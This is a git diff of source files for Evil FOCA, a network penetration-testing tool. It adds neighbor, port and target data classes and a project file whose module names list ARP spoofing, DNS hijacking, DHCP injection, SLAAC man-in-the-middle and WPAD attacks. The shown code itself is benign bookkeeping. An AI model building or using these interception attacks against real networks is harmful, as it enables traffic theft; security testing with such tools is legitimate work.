NeighborOperacionTreeView Tipo; + + + public NeighborEventArgs(Neighbor Neighbor) + { + this.Neighbor = Neighbor; + } + } + public enum RouteStatus + { + Unknow, + Verifing, + CanRoute, + CantRoute + } + public enum NeighborOperacionTreeView + { + Añadir, + Actualizar, + Eliminar + } + + public class Neighbor + { + public PhysicalAddress physicalAddress; + public string computerName = string.Empty; + private SynchronizedCollection ips; + public Platform osPlatform; + public RouteStatus canRoutePackets; + private SynchronizedCollection ports; + + public Neighbor() + { + ports = new SynchronizedCollection(); + canRoutePackets = RouteStatus.Unknow; + osPlatform = Platform.Unknow; + ips = new SynchronizedCollection(); + } + + #region ips_control_methods + + public bool ExistsIP(IPAddress ip) + { + return ips.Contains(ip); + } + + public void RemoveIP(IPAddress ip) + { + ips.Remove(ip); + } + + public void AddIP(IPAddress ip) + { + if (ExistsIP(ip)) + return; + + // --- FILTROS IPV6 --- + if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) + { + if (ip.ToString() == "::") // IP Local IPv6. No se almacenan + return; + if (ip.ToString().ToLower().StartsWith("ff02:")) // Dirección multicast ipv6. No se almacenan. + return; + } + // --- FILTROS IPV4 --- + else if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) + { + // multicast ipv4, desde la 224.0.0.0 a la 239.255.255.255 + int firstOct = int.Parse(ip.ToString().Split(new char[] { '.' })[0]); + if ((firstOct >= 224) && (firstOct <= 239)) + return; // multicast ipv5 + + if (ip.ToString() == "255.255.255.255") + return; + } + + ips.Add(ip); + } + + public IPAddress GetIPv4() + { + return ips.FirstOrDefault(i => i.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork); + } + + public IPAddress GetIPv6() + { + return ips.FirstOrDefault(i => i.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6); + } + + public IList GetIPs() + { + return ips; + } + + #endregion + + #region ports + + public bool ExistsPort(Port port) + { + foreach (Port p in ports) + { + if (p.port == port.port && p.protocol == port.protocol && p.ip.Equals(port.ip)) + return true; + } + + return false; + } + + public void AddPort(Port port) + { + if (ExistsPort(port)) + return; + + ports.Add(port); + } + + public SynchronizedCollection GetPorts(IPAddress ip) + { + return new SynchronizedCollection(ports.Where(P => P.ip.Equals(ip)).ToList()); + } + + #endregion + + public override string ToString() + { + if (computerName == string.Empty) + { + return physicalAddress.ToString(); + } + else + { + return physicalAddress.ToString() + " (" + computerName + ")"; + } + } + + public override bool Equals(object obj) + { + Neighbor n = obj as Neighbor; + return this.physicalAddress.Equals(n.physicalAddress); + } + + public override int GetHashCode() + { + return this.physicalAddress.GetHashCode(); + } + + + public void Combine(Neighbor n) + { + foreach (var ip in n.ips) + this.AddIP(ip); + + foreach (var port in n.ports) + this.AddPort(port); + + if (string.IsNullOrEmpty(this.computerName)) + this.computerName = n.computerName; + else if (!this.computerName.Equals(n.computerName) && !string.IsNullOrEmpty(n.computerName)) + this.computerName = string.Format("{0} - {1})", this.computerName, n.computerName); + } + } +} diff --git a/EvilFoca/Data/Port.cs b/EvilFoca/Data/Port.cs new file mode 100644 index 0000000..5d3a34c --- /dev/null +++ b/EvilFoca/Data/Port.cs @@ -0,0 +1,50 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Net; + +namespace evilfoca.Data +{ + public enum Protocol + { + TCP, + UDP + } + + public class Port + { + public Protocol protocol; + public int port; + public IPAddress ip; + + public Port(int port, Protocol protocol, IPAddress ip) + { + this.port = port; + this.protocol = protocol; + this.ip = ip; + } + + public override string ToString() + { + return port.ToString() + "/" + protocol.ToString(); + } + } +} diff --git a/EvilFoca/Data/Target.cs b/EvilFoca/Data/Target.cs new file mode 100644 index 0000000..5f23214 --- /dev/null +++ b/EvilFoca/Data/Target.cs @@ -0,0 +1,50 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Net; +using System.Net.NetworkInformation; + +namespace evilfoca.Data +{ + + public class Target + { + public IPAddress ip; + public PhysicalAddress mac; + public int packetsSend = 0; + public string description = string.Empty; + + + public Target(IPAddress ip, PhysicalAddress mac) + { + this.ip = ip; + this.mac = mac; + } + + public Target(string description) + { + this.ip = null; + this.mac = null; + + this.description = description; + } + } +} diff --git a/EvilFoca/EvilFoca.csproj b/EvilFoca/EvilFoca.csproj new file mode 100644 index 0000000..6c9f8d0 --- /dev/null +++ b/EvilFoca/EvilFoca.csproj @@ -0,0 +1,523 @@ + + + + Debug + x86 + 8.0.30703 + 2.0 + {35404744-5455-4672-8AE5-2A2E3568B94C} + WinExe + Properties + evilfoca + Evil FOCA + v4.0 + + + 512 + SAK + SAK + SAK + SAK + false + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + true + + + x86 + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + true + + + x86 + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + true + + + EvilFoca.ico + + + evilfoca.Program + + + app.manifest + + + + ..\ThirdPartyAssemblies\DNSLibrary.dll + + + ..\ThirdPartyAssemblies\PacketDotNet.dll + + + ..\ThirdPartyAssemblies\SharpPcap.dll + + + + + + + + + + + + + + + + + + + + + + + + + + Component + + + UserControl + + + ControlDHCPv6.cs + + + UserControl + + + ControlDosSlaac.cs + + + UserControl + + + ControlHelp.cs + + + UserControl + + + PanelHelpDefault.cs + + + UserControl + + + PanelDNSHijack.cs + + + UserControl + + + PanelInvalidMac.cs + + + UserControl + + + PanelDoSSlaac.cs + + + UserControl + + + PanelArpSpoof.cs + + + UserControl + + + PanelDHCPACKInject.cs + + + UserControl + + + PanelWpad.cs + + + UserControl + + + panelDHCPv6.cs + + + UserControl + + + PanelNeighAdvSpoofing.cs + + + UserControl + + + PanelSLAAC.cs + + + UserControl + + + PanelWpadV6.cs + + + UserControl + + + ControlInvalidMacIpv4.cs + + + UserControl + + + ControlSlaacMitm.cs + + + Component + + + + + + + + + + + + + + + + Form + + + FormAbout.cs + + + + + UserControl + + + ControlDNSHijacking.cs + + + UserControl + + + ControlMitmAttack.cs + + + + + + + + + + + + + + + Form + + + FormAddNeighbor.cs + + + Form + + + FormMessage.cs + + + Form + + + FormSelectIPs.cs + + + Form + + + FormSelectSubNet.cs + + + Form + + + FormSettings.cs + + + Form + + + FormInterfaces.cs + + + Form + + + FormMain.cs + + + + + + + + Component + + + + + + + + UserControl + + + PanelLogs.cs + + + UserControl + + + PanelTarget.cs + + + UserControl + + + PanelTargets.cs + + + + + + + True + True + Settings.settings + + + Form + + + FormSplash.cs + + + + ControlDHCPv6.cs + Designer + + + ControlDosSlaac.cs + + + ControlHelp.cs + Designer + + + PanelHelpDefault.cs + Designer + + + PanelDNSHijack.cs + Designer + + + PanelInvalidMac.cs + + + PanelDoSSlaac.cs + + + PanelArpSpoof.cs + + + PanelDHCPACKInject.cs + + + PanelWpad.cs + + + panelDHCPv6.cs + + + PanelNeighAdvSpoofing.cs + + + PanelSLAAC.cs + + + PanelWpadV6.cs + + + ControlInvalidMacIpv4.cs + + + FormAbout.cs + + + ControlDNSHijacking.cs + Designer + + + ControlMitmAttack.cs + + + FormAddNeighbor.cs + + + FormInterfaces.cs + + + FormMain.cs + Designer + + + FormMessage.cs + + + FormSelectIPs.cs + + + FormSelectSubNet.cs + + + FormSettings.cs + + + PanelLogs.cs + + + PanelTarget.cs + + + PanelTargets.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + FormSplash.cs + Designer + + + Designer + + + Designer + + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + + + + + + + + + + + PublicSettingsSingleFileGenerator + Settings.Designer.cs + + + + + + + + + + + False + Microsoft .NET Framework 4 Client Profile %28x86 y x64%29 + true + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + false + + + False + Windows Installer 3.1 + true + + + + + + + + + + + + + + \ No newline at end of file diff --git a/EvilFoca/EvilFoca.ico b/EvilFoca/EvilFoca.ico new file mode 100644 index 0000000000000000000000000000000000000000..4e6c58b399e92d8aa7999ee2784db79196bcf9ac GIT binary patch literal 140206 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 